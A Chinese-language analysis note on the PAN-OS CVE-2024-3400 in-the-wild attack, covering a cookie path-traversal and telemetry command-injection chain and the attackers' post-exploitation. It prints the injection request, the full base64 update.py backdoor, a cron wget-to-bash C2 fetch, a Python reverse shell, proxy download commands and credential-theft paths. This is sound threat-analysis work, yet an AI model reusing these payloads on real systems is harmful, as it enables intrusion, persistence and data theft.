本文整理了网上关于 PAN-OS 在野攻击漏洞 CVE-2024-3400 的各种技术细节信息,包括 Cookie 中的路径穿越漏洞 和 Telemetry 中的命令注入漏洞 的组合利用,以及攻击者 Post-Exploitation 相关的细节信息。此外,Bishop Fox 发现了新的命令注入漏洞,因此带有漏洞的系统仅仅是禁用 Telemetry 服务是没有用的。
因为没有漏洞复现环境,本文仅仅是基于信息整理写的一篇笔记,如果你关注的是如何搭建复现环境,可以参考 2.1 漏洞信息 中引用的文章链接。
0x01. 漏洞简介Volexity Threat Research 在 2024-04-10 捕获的针对 PAN-OS 设备的在野攻击漏洞利用,Palo Alto Networks 在 2024-04-11 发布安全公告并分配 CVE 编号 CVE-2024-3400。
虽然只有一个 CVE 编号,但实际上在野攻击使用了两个漏洞:
SSL VPN Cookie 解析路径穿越漏洞,在未登录的情况下可以以 root
权限创建任意文件(空文件)
Telemetry 命令注入漏洞,配合上述文件名实现代码执行
组合利用即可达到无需登录即可实现远程任意代码执行的效果。
Telemetry 命令注入漏洞依赖于 Telemetry 服务的开启,但是也可以组合利用其他不需要前置条件的命令注入漏洞,比如 Bishop Fox 提到他们发现并报告了一个新的且不依赖于 Telemetry 的命令注入漏洞(当前暂无公开细节信息)。
0x02. 漏洞细节 2.1 漏洞信息
A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.
研究这类漏洞最大的障碍就是复现环境搭建 ,因为厂商不对非客户开放虚拟机镜像下载权限 :-(
除了拿到虚拟机镜像外,获取 root
权限也是一个比较重要的操作,Rapid7 的文章给出了一个比较简单的解决方案:
系统启动时对 /var
没有完整性校验
挂载虚拟机磁盘在 /var/appweb/htdocs/unauth/php
插入一个 PHP WebShell
编译一个 SUID-root 程序配合 PHP WebShell 以 root
权限执行命令
以 root
权限修改 /etc/passwd
实现 SSH 拿到 root
Shell
类似的技巧在看雪上也有讨论分享:获取虚拟机的shell 。
2.2 Cookie 路径穿越SSL VPN 的页面 /ssl-vpn/hipreport.esp
在解析 Cookie SESSID 时存在路径穿越漏洞 (Path Traversal Vulnerability ),且该页面不需要登录就可以访问。
POST /ssl-vpn/hipreport.esp HTTP/1.1Host : <Hostname>Cookie : SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/watchtowr.txt;
触发漏洞后,如果对应的文件不存在,将会以 root
权限创建一个空文件。
2.3 Telemetry 命令注入PAN-OS 的 Telemetry 服务会定时将指定文件夹下的日志文件回传给 Palo Alto Networks 的服务器,而这里相关的一个 Python 文件 /p2/usr/local/bin/dt_curl
存在命令注入漏洞 (Command Injection Vulnerability ),关键代码如下所示:
if source_ip_str is not None and source_ip_str != "" : curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s --interface %s" \ %(signedUrl, fname, capath, source_ip_str) else : curl_cmd = "/usr/bin/curl -v -H \"Content-Type: application/octet-stream\" -X PUT \"%s\" --data-binary @%s --capath %s" \ %(signedUrl, fname, capath) if dbg: logger.info("S2: XFILE: send_file: curl cmd: '%s'" %curl_cmd) stat, rsp, err, pid = pansys(curl_cmd, shell=True , timeout=250 )
留意 fname
和 shell=True
fname
即为本地文件路径,可以是前面 Cookie SESSID 解析路径穿越漏洞所创建的文件
pansys(curl_cmd, shell=True, timeout=250)
表明很有可能注入的参数会被当做命令来执行
pansys
最终调用 /p2/lib64/python3.6/site-packages/pansys/pansys.py
中的 pansys.dosys()
,相关代码如下:
def dosys (self, command, close_fds=True, shell=False, timeout=30 , first_wait=None) : """call shell-command and either return its output or kill it if it doesn't normally exit within timeout seconds""" # Define dosys specific constants here PANSYS_POST_SIGKILL_RETRY_COUNT = 5 # how long to pause between poll-readline-readline cycles PANSYS_DOSYS_PAUSE = 0.1 # Use first_wait if time to complete is lengthy and can be estimated if first_wait == None : first_wait = PANSYS_DOSYS_PAUSE # restrict the maximum possible dosys timeout PANSYS_DOSYS_MAX_TIMEOUT = 23 * 60 * 60 # Can support upto 2GB per stream out = StringIO() err = StringIO() try : if shell: cmd = command else : cmd = command.split() except AttributeError: cmd = command p = subprocess.Popen(cmd, stdout=subprocess.PIPE, bufsize=1 , shell=shell, stderr=subprocess.PIPE, close_fds=close_fds, universal_newlines=True ) timer = pansys_timer(timeout, PANSYS_DOSYS_MAX_TIMEOUT)
shell=True
最终会传递到 subprocess.Popen()
,即创建一个 Shell 来执行命令,那么前面通过 fname
注入的代码就可以被执行了。
2.4 组合利用POST /ssl-vpn/hipreport.esp HTTP/1.1Host : <Hostname>Cookie : SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere`curl${IFS}x1.outboundhost.com`;
命令注入的常规操作技巧:
2.5 其他说明gorilla/sessions Pull Requests - Improve File System Path Handling #274 在讨论前面提到的路径穿越漏洞是否是 gorilla/sessions 自带的漏洞,结论是:
并非 gorilla/sessions 的漏洞
是 Palo Alto Networks 在实现 SessDiskStore
时存在的漏洞
The Palo Alto vulnerability described in https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/ seems to be in a different internal Store implementation called SessDiskStore, which works similarly (maybe derived from FilesystemStore) but does not authenticate the session ID.
此外,Telemetry 中的命令注入漏洞需要在开启 Telemetry 功能的情况下才能触发,最开始 Palo Alto Networks 的安全公告也说了这个前置条件,但是后面更新时又去掉了这个条件。
This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls configured with GlobalProtect gateway or GlobalProtect portal (or both). Device telemetry does not need to be enabled for PAN-OS firewalls to be exposed to attacks related to this vulnerability.
在未开启 Telemetry 的情况下是否能达到类似命令注入的利用效果?目前暂时没有公开的细节信息,但是 Bishop Fox 在文章 PAN-OS CVE-2024-3400: Patch Your Palo Alto Firewalls 提到他们发现了一个新的且不依赖于 Telemetry 的命令注入漏洞,在他们将细节报告给 Palo Alto Networks 之后,PAN 才更新了漏洞公告信息。
We developed bypasses for both recommended interim mitigations. We were able to successfully evade Threat Prevention signatures, and we identified a new command injection vulnerability which is exploitable even when device telemetry is disabled.
0x03. Post-ExploitationVolexity Threat Research 在文章 Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400) 中给出了攻击行动的一些具体细节信息。
3.1 update.py backdoor
Zero-day exploitation of a vulnerability in Palo Alto Global Protect firewall devices that allowed for unauthenticated remote code execution to take place. Initial exploitation was used to create a reverse shell, download tools, exfiltrate configuration data, and move laterally within the network.
update.py
可以从 MalwareBazaar 下载到,源码如下所示:
import os,base64,timesystempth = "/usr/lib/python3.6/site-packages/system.pth" with open(systempth,'wb' ) as f: f.write(b'''import base64;exec(base64.b64decode(b"CgoKZGVmIGNoZWNrKCk6CiAgICBpbXBvcnQgb3Msc3VicHJvY2Vzcyx0aW1lLHN5cwoKCiAgICBkZWYgc3RhcnRfcHJvY2VzcygpOgogICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICBmdW5jdGlvbmNvZGUgPSBiIlpHVm1JRjlmYldGcGJpZ3BPZzBLSUNBZ0lHbHRjRzl5ZENCMGFISmxZV1JwYm1jc2RHbHRaU3h2Y3l4eVpTeGlZWE5sTmpRTkNnMEtEUW9OQ2lBZ0lDQmtaV1lnY21WemRHOXlaU2hqYzNOZmNHRjBhQ3hqYjI1MFpXNTBMR0YwYVcxbExHMTBhVzFsS1RvTkNpQWdJQ0FnSUNBZ2FXMXdiM0owSUc5ekxIUnBiV1VOQ2lBZ0lDQWdJQ0FnZEdsdFpTNXpiR1ZsY0NneE5Ta05DaUFnSUNBZ0lDQWdkMmwwYUNCdmNHVnVLR056YzE5d1lYUm9MQ2QzSnlrZ1lYTWdaam9OQ2lBZ0lDQWdJQ0FnSUNBZ0lHWXVkM0pwZEdVb1kyOXVkR1Z1ZENrTkNpQWdJQ0FnSUNBZ2IzTXVkWFJwYldVb1kzTnpYM0JoZEdnc0tHRjBhVzFsTEcxMGFXMWxLU2tOQ2lBZ0lDQWdJQ0FnRFFvTkNpQWdJQ0FnSUNBZ0RRb2dJQ0FnWkdWbUlGOWZhWE5mZDJodmJHVmZhRzkxY2lncE9nMEtJQ0FnSUNBZ0lDQm1jbTl0SUdSaGRHVjBhVzFsSUdsdGNHOXlkQ0JrWVhSbGRHbHRaUTBLSUNBZ0lDQWdJQ0JqZFhKeVpXNTBYM1JwYldVZ1BTQmtZWFJsZEdsdFpTNXViM2NvS1M1MGFXMWxLQ2tOQ2lBZ0lDQWdJQ0FnY21WMGRYSnVJR04xY25KbGJuUmZkR2x0WlM1dGFXNTFkR1VnSVQwZ01DQmhibVFnWTNWeWNtVnVkRjkwYVcxbExuTmxZMjl1WkNBOVBTQXdEUW9nSUNBZ1kzTnpYM0JoZEdnZ1BTQW5MM1poY2k5aGNIQjNaV0l2YzNOc2RuQnVaRzlqY3k5bmJHOWlZV3d0Y0hKdmRHVmpkQzl3YjNKMFlXd3ZZM056TDJKdmIzUnpkSEpoY0M1dGFXNHVZM056SncwS0lDQWdJR052Ym5SbGJuUWdQU0J2Y0dWdUtHTnpjMTl3WVhSb0tTNXlaV0ZrS0NrTkNpQWdJQ0JoZEdsdFpUMXZjeTV3WVhSb0xtZGxkR0YwYVcxbEtHTnpjMTl3WVhSb0tRMEtJQ0FnSUcxMGFXMWxQVzl6TG5CaGRHZ3VaMlYwYlhScGJXVW9ZM056WDNCaGRHZ3BEUW9OQ2lBZ0lDQjNhR2xzWlNCVWNuVmxPZzBLSUNBZ0lDQWdJQ0IwY25rNkRRb2dJQ0FnSUNBZ0lDQWdJQ0JUU0VWTVRGOVFRVlJVUlZKT0lEMGdKMmx0WjF4YktGdGhMWHBCTFZvd0xUa3JMejFkS3lsY1hTY05DaUFnSUNBZ0lDQWdJQ0FnSUd4cGJtVnpJRDBnVzEwTkNpQWdJQ0FnSUNBZ0lDQWdJRmRTU1ZSRlgwWk1RVWNnUFNCR1lXeHpaUTBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlJR3hwYm1VZ2FXNGdiM0JsYmlnaUwzWmhjaTlzYjJjdmNHRnVMM056Ykhad2JsOXVaM2hmWlhKeWIzSXViRzluSWl4bGNuSnZjbk05SW1sbmJtOXlaU0lwTG5KbFlXUnNhVzVsY3lncE9nMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lISnpkQ0E5SUhKbExuTmxZWEpqYUNoVFNFVk1URjlRUVZSVVJWSk9MR3hwYm1VcERRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2FXWWdjbk4wT2cwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQlhVa2xVUlY5R1RFRkhJRDBnVkhKMVpRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JqYldRZ1BTQmlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtISnpkQzVuY205MWNDZ3hLU2t1WkdWamIyUmxLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2RISjVPZzBLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdiM011Y0c5d1pXNG9ZMjFrS1M1eVpXRmtLQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSGRwZEdnZ2IzQmxiaWhqYzNOZmNHRjBhQ3dpWVNJcElHRnpJR1k2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1ppNTNjbWwwWlNnaUx5b2lLMjkxZEhCMWRDc2lLaThpS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmxlR05sY0hRZ1JYaGpaWEIwYVc5dUlHRnpJR1U2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0J3WVhOekRRb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWTI5dWRHbHVkV1VOQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JzYVc1bGN5NWhjSEJsYm1Rb2JHbHVaU2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lHbG1JRmRTU1ZSRlgwWk1RVWM2RFFvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWVhScGJXVTliM011Y0dGMGFDNW5aWFJoZEdsdFpTZ2lMM1poY2k5c2IyY3ZjR0Z1TDNOemJIWndibDl1WjNoZlpYSnliM0l1Ykc5bklpa05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQnRkR2x0WlQxdmN5NXdZWFJvTG1kbGRHMTBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpS1EwS0RRb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ2QybDBhQ0J2Y0dWdUtDSXZkbUZ5TDJ4dlp5OXdZVzR2YzNOc2RuQnVYMjVuZUY5bGNuSnZjaTVzYjJjaUxDSjNJaWtnWVhNZ1pqb05DaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnWmk1M2NtbDBaV3hwYm1WektHeHBibVZ6S1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUc5ekxuVjBhVzFsS0NJdmRtRnlMMnh2Wnk5d1lXNHZjM05zZG5CdVgyNW5lRjlsY25KdmNpNXNiMmNpTENoaGRHbHRaU3h0ZEdsdFpTa3BEUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdhVzF3YjNKMElIUm9jbVZoWkdsdVp3MEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIUm9jbVZoWkdsdVp5NVVhSEpsWVdRb2RHRnlaMlYwUFhKbGMzUnZjbVVzWVhKbmN6MG9ZM056WDNCaGRHZ3NZMjl1ZEdWdWRDeGhkR2x0WlN4dGRHbHRaU2twTG5OMFlYSjBLQ2tOQ2lBZ0lDQWdJQ0FnWlhoalpYQjBPZzBLSUNBZ0lDQWdJQ0FnSUNBZ2NHRnpjdzBLSUNBZ0lDQWdJQ0IwYVcxbExuTnNaV1Z3S0RJcERRb05DZzBLYVcxd2IzSjBJSFJvY21WaFpHbHVaeXgwYVcxbERRcDBhSEpsWVdScGJtY3VWR2h5WldGa0tIUmhjbWRsZEQxZlgyMWhhVzRwTG5OMFlYSjBLQ2tOQ2cwSyIKICAgICAgICBleGVjKGJhc2U2NC5iNjRkZWNvZGUoZnVuY3Rpb25jb2RlKSkgICAgICAgIAoKICAgIGlmIGIiL3Vzci9sb2NhbC9iaW4vbW9uaXRvciBtcCIgaW4gb3BlbigiL3Byb2Mvc2VsZi9jbWRsaW5lIiwicmIiKS5yZWFkKCkucmVwbGFjZShiIlx4MDAiLGIiICIpIDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHN0YXJ0X3Byb2Nlc3MoKQogICAgICAgIGV4Y2VwdCBLZXlib2FyZEludGVycnVwdCBhcyBlOgogICAgICAgICAgICBwcmludChlKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoZSkKICAgICAgICByZXR1cm4gVHJ1ZQogICAgZWxzZToKICAgICAgICByZXR1cm4gRmFsc2UgCgoKZGVmIHByb3RlY3QoKToKICAgIGltcG9ydCBvcyxzaWduYWwKICAgIHN5c3RlbXB0aCA9ICIvdXNyL2xpYi9weXRob24zLjYvc2l0ZS1wYWNrYWdlcy9zeXN0ZW0ucHRoIgogICAgY29udGVudCA9IG9wZW4oc3lzdGVtcHRoKS5yZWFkKCkKICAgICMgb3MudW5saW5rKF9fZmlsZV9fKQogICAgZGVmIHN0b3Aoc2lnLGZyYW1lKToKICAgICAgICBpZiBub3Qgb3MucGF0aC5leGlzdHMoc3lzdGVtcHRoKToKICAgICAgICAgICAgd2l0aCBvcGVuKHN5c3RlbXB0aCwidyIpIGFzIGY6CiAgICAgICAgICAgICAgICBmLndyaXRlKGNvbnRlbnQpCgogICAgc2lnbmFsLnNpZ25hbChzaWduYWwuU0lHVEVSTSxzdG9wKQoKCnByb3RlY3QoKQpjaGVjaygpCg=="))''' ) atime=os.path.getatime(os.__file__) mtime=os.path.getmtime(os.__file__) os.utime(systempth,(atime,mtime)) os.unlink(__file__) import globos.unlink(glob.glob("/opt/pancfg/mgmt/licenses/PA_VM`*" )[0 ])
这里把一段 Python 代码写入了 /usr/lib/python3.6/site-packages/system.pth
。
The purpose of the update.py script is to deploy a backdoor to the following path: /usr/lib/python3.6/site-packages/system.pth
. The backdoor, written in Python, starts by an import
and its main content is stored as a base64 encoded blob. The .pth
extension is used to append additional paths to a Python module. Starting with the release of Python 3.5, lines in .pth
files beginning with the text “import
” followed by a space or a tab, are executed as described in the official documentation . Therefore, by creating this file, each time any other code on the device attempts to import the module, the malicious code is executed.
位于 Python site-packages
目录下的 .pth
文件,可以用于指定 PATH
路径。例如,如果 .pth
文件包含以下内容,则每一行指定的路径将被添加到 sys.path
中。
C:\\Windows\\System32 D:\\
而如果 .pth
文件中的行以 import
加上空格或者制表符开头,则这一行的内容会被当做 Python 代码来执行。需要注意的是,每次 Python 进程启动时 ,.pth
文件中的内容都会被解析,而非 Volexity 原文中所说的只有在 import
.pth
模块时才会解析文件。
Base64 解码后的内容如下:
def check () : import os,subprocess,time,sys def start_process () : import base64 functioncode = b"ZGVmIF9fbWFpbigpOg0KICAgIGltcG9ydCB0aHJlYWRpbmcsdGltZSxvcyxyZSxiYXNlNjQNCg0KDQoNCiAgICBkZWYgcmVzdG9yZShjc3NfcGF0aCxjb250ZW50LGF0aW1lLG10aW1lKToNCiAgICAgICAgaW1wb3J0IG9zLHRpbWUNCiAgICAgICAgdGltZS5zbGVlcCgxNSkNCiAgICAgICAgd2l0aCBvcGVuKGNzc19wYXRoLCd3JykgYXMgZjoNCiAgICAgICAgICAgIGYud3JpdGUoY29udGVudCkNCiAgICAgICAgb3MudXRpbWUoY3NzX3BhdGgsKGF0aW1lLG10aW1lKSkNCiAgICAgICAgDQoNCiAgICAgICAgDQogICAgZGVmIF9faXNfd2hvbGVfaG91cigpOg0KICAgICAgICBmcm9tIGRhdGV0aW1lIGltcG9ydCBkYXRldGltZQ0KICAgICAgICBjdXJyZW50X3RpbWUgPSBkYXRldGltZS5ub3coKS50aW1lKCkNCiAgICAgICAgcmV0dXJuIGN1cnJlbnRfdGltZS5taW51dGUgIT0gMCBhbmQgY3VycmVudF90aW1lLnNlY29uZCA9PSAwDQogICAgY3NzX3BhdGggPSAnL3Zhci9hcHB3ZWIvc3NsdnBuZG9jcy9nbG9iYWwtcHJvdGVjdC9wb3J0YWwvY3NzL2Jvb3RzdHJhcC5taW4uY3NzJw0KICAgIGNvbnRlbnQgPSBvcGVuKGNzc19wYXRoKS5yZWFkKCkNCiAgICBhdGltZT1vcy5wYXRoLmdldGF0aW1lKGNzc19wYXRoKQ0KICAgIG10aW1lPW9zLnBhdGguZ2V0bXRpbWUoY3NzX3BhdGgpDQoNCiAgICB3aGlsZSBUcnVlOg0KICAgICAgICB0cnk6DQogICAgICAgICAgICBTSEVMTF9QQVRURVJOID0gJ2ltZ1xbKFthLXpBLVowLTkrLz1dKylcXScNCiAgICAgICAgICAgIGxpbmVzID0gW10NCiAgICAgICAgICAgIFdSSVRFX0ZMQUcgPSBGYWxzZQ0KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3BlbigiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIixlcnJvcnM9Imlnbm9yZSIpLnJlYWRsaW5lcygpOg0KICAgICAgICAgICAgICAgIHJzdCA9IHJlLnNlYXJjaChTSEVMTF9QQVRURVJOLGxpbmUpDQogICAgICAgICAgICAgICAgaWYgcnN0Og0KICAgICAgICAgICAgICAgICAgICBXUklURV9GTEFHID0gVHJ1ZQ0KICAgICAgICAgICAgICAgICAgICBjbWQgPSBiYXNlNjQuYjY0ZGVjb2RlKHJzdC5ncm91cCgxKSkuZGVjb2RlKCkNCiAgICAgICAgICAgICAgICAgICAgdHJ5Og0KICAgICAgICAgICAgICAgICAgICAgICAgb3V0cHV0ID0gb3MucG9wZW4oY21kKS5yZWFkKCkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpdGggb3Blbihjc3NfcGF0aCwiYSIpIGFzIGY6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZi53cml0ZSgiLyoiK291dHB1dCsiKi8iKQ0KICAgICAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6DQogICAgICAgICAgICAgICAgICAgICAgICBwYXNzDQoNCiAgICAgICAgICAgICAgICAgICAgY29udGludWUNCiAgICAgICAgICAgICAgICBsaW5lcy5hcHBlbmQobGluZSkNCiAgICAgICAgICAgIGlmIFdSSVRFX0ZMQUc6DQogICAgICAgICAgICAgICAgYXRpbWU9b3MucGF0aC5nZXRhdGltZSgiL3Zhci9sb2cvcGFuL3NzbHZwbl9uZ3hfZXJyb3IubG9nIikNCiAgICAgICAgICAgICAgICBtdGltZT1vcy5wYXRoLmdldG10aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciKQ0KDQogICAgICAgICAgICAgICAgd2l0aCBvcGVuKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLCJ3IikgYXMgZjoNCiAgICAgICAgICAgICAgICAgICAgZi53cml0ZWxpbmVzKGxpbmVzKQ0KICAgICAgICAgICAgICAgIG9zLnV0aW1lKCIvdmFyL2xvZy9wYW4vc3NsdnBuX25neF9lcnJvci5sb2ciLChhdGltZSxtdGltZSkpDQogICAgICAgICAgICAgICAgaW1wb3J0IHRocmVhZGluZw0KICAgICAgICAgICAgICAgIHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PXJlc3RvcmUsYXJncz0oY3NzX3BhdGgsY29udGVudCxhdGltZSxtdGltZSkpLnN0YXJ0KCkNCiAgICAgICAgZXhjZXB0Og0KICAgICAgICAgICAgcGFzcw0KICAgICAgICB0aW1lLnNsZWVwKDIpDQoNCg0KaW1wb3J0IHRocmVhZGluZyx0aW1lDQp0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1fX21haW4pLnN0YXJ0KCkNCg0K" exec(base64.b64decode(functioncode)) if b"/usr/local/bin/monitor mp" in open("/proc/self/cmdline" ,"rb" ).read().replace(b"\x00" ,b" " ) : try : start_process() except KeyboardInterrupt as e: print(e) except Exception as e: print(e) return True else : return False def protect () : import os,signal systempth = "/usr/lib/python3.6/site-packages/system.pth" content = open(systempth).read() # os.unlink(__file__) def stop (sig,frame) : if not os.path.exists(systempth): with open(systempth,"w" ) as f: f.write(content) signal.signal(signal.SIGTERM,stop) protect() check()
这里定义了两个函数,protect
用于守护 /usr/lib/python3.6/site-packages/system.pth
,而 check
的核心逻辑仍然是 Base64 编码的,解码后的内容如下:
def __main () : import threading,time,os,re,base64 def restore (css_path,content,atime,mtime) : import os,time time.sleep(15 ) with open(css_path,'w' ) as f: f.write(content) os.utime(css_path,(atime,mtime)) def __is_whole_hour () : from datetime import datetime current_time = datetime.now().time() return current_time.minute != 0 and current_time.second == 0 css_path = '/var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css' content = open(css_path).read() atime=os.path.getatime(css_path) mtime=os.path.getmtime(css_path) while True : try : SHELL_PATTERN = 'img\[([a-zA-Z0-9+/=]+)\]' lines = [] WRITE_FLAG = False for line in open("/var/log/pan/sslvpn_ngx_error.log" ,errors="ignore" ).readlines(): rst = re.search(SHELL_PATTERN,line) if rst: WRITE_FLAG = True cmd = base64.b64decode(rst.group(1 )).decode() try : output = os.popen(cmd).read() with open(css_path,"a" ) as f: f.write("/*" +output+"*/" ) except Exception as e: pass continue lines.append(line) if WRITE_FLAG: atime=os.path.getatime("/var/log/pan/sslvpn_ngx_error.log" ) mtime=os.path.getmtime("/var/log/pan/sslvpn_ngx_error.log" ) with open("/var/log/pan/sslvpn_ngx_error.log" ,"w" ) as f: f.writelines(lines) os.utime("/var/log/pan/sslvpn_ngx_error.log" ,(atime,mtime)) import threading threading.Thread(target=restore,args=(css_path,content,atime,mtime)).start() except : pass time.sleep(2 ) import threading,timethreading.Thread(target=__main).start()
这段代码用于建立一个后门来执行攻击者发送的命令:
请求一个不存在的页面,请求参数中带入要执行的命令
由于页面不存在,相关信息会被写入日志文件 /var/log/pan/sslvpn_ngx_error.log
从日志文件 /var/log/pan/sslvpn_ngx_error.log
提取攻击者指定的命令
通过 os.popen
执行命令,并将命令输出信息写入 CSS 文件 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css
恢复日志文件 /var/log/pan/sslvpn_ngx_error.log
的文件内容(去除了带命令参数的内容)以及 atime
和 mtime
属性
恢复 CSS 文件 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css
的文件内容以及 atime
和 mtime
属性
但这里的 atime
和 mtime
其实来自日志文件,并非之前保存的 CSS 文件的原始时间属性
攻击者可以在恢复文件前的 15
秒时间间隙内通过 CSS 文件读取命令执行结果。
3.2 patch cron file创建 crontab 任务定期从 C2 服务器拉取名为 policy
的脚本执行。
if [ ! -f '/etc/cron.d/update' ]; then printf "SHELL=/bin/bash\n\n* * * * * root wget -qO- http://172.233.228[.]93/policy | bash\n\n" > /etc/cron.d/update fi
3.3 policy file 3.3.1 Version 1Python 反弹 Shell。
# !/bin/bash r=`ps -ef | grep "import sys,socket,os" | grep -v grep` if [[ -z "$r" ]]; then python -c "import sys,socket,os,pty;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(('172.233.228[.]93',443));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn('/bin/bash')" fi
3.3.2 Version 2将 uname -a
的输出信息写入 CSS 文件。
# !/bin/bash rm -f /var/appweb/sslvpndocs/global-protect/*.css cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/<redacted>.css uname -a > /var/appweb/sslvpndocs/global-protect/<redacted>.css
3.3.3 Version 3清理 CSS 文件。
# !/bin/bash rm -f /var/appweb/sslvpndocs/global-protect/*.css
3.3.4 Version 4下载执行 GOST 代理。
# !/bin/bash wget http://172.233.228[.]93/vpn_prot.gz -O /tmp/vpn_prot.gz ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css gzip -d /tmp/vpn_prot.gz chmod +x /tmp/vpn_prot nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1 & nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0[.]1:8123 -F ssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null 2>&1 &
3.3.5 Version 5Version 4 的改良版本(Base64 编码)。
# !/bin/bash wget http://172.233.228[.]93/vpn.log -O /tmp/vpn.log base64 -d /tmp/vpn.log > /tmp/vpn_prot.gz ls -l /tmp/vpn_prot.gz > /var/appweb/sslvpndocs/global-protect/u.css gzip -d /tmp/vpn_prot.gz chmod +x /tmp/vpn_prot nohup /tmp/vpn_prot -L=socks5://127.0.0[.]1:8123 > /dev/null 2>&1 & nohup /tmp/vpn_prot -L rtcp://127.0.0[.]1:8080/127.0.0.1:8123 -F ssh://user0:[password_redacted]@172.233.228[.]93:8443?ping=180 > /dev/null 2>&1 &
3.3.6 Version 6下载执行基于 SSH 的反弹 Shell reverse-ssh 。
# !/bin/bash wget http://172.233.228[.]93/lowdp -O /tmp/lowdp ls -l /tmp/lowdp > /var/appweb/sslvpndocs/global-protect/u.css chmod +x /tmp/lowdp nohup /tmp/lowdp -l -p 31289 > /dev/null 2>&1 &
3.4 Lateral Movement & Data theft信息收集及窃取。
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network %LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\Cookies %LOCALAPPDATA%\Google\Chrome\User Data\Local State %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\Cookies %LOCALAPPDATA%\Microsoft\Edge\User Data\Local State %APPDATA%\Roaming\Microsoft\Protect\<SID> -> DPAPI Keys %SystemRoot%\NTDS\ntds.dit %SystemRoot%\System32\winevt\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx
0x04. References
https://security.paloaltonetworks.com/CVE-2024-3400
https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
https://www.sprocketsecurity.com/resources/patch-diffing-cve-2024-3400-from-a-palo-alto-ngfw-marketplace-ami
https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
https://github.com/gorilla/sessions/pull/274
https://bishopfox.com/blog/pan-os-cve-2024-3400-patch-your-palo-alto-firewalls
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
https://bazaar.abuse.ch/sample/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac/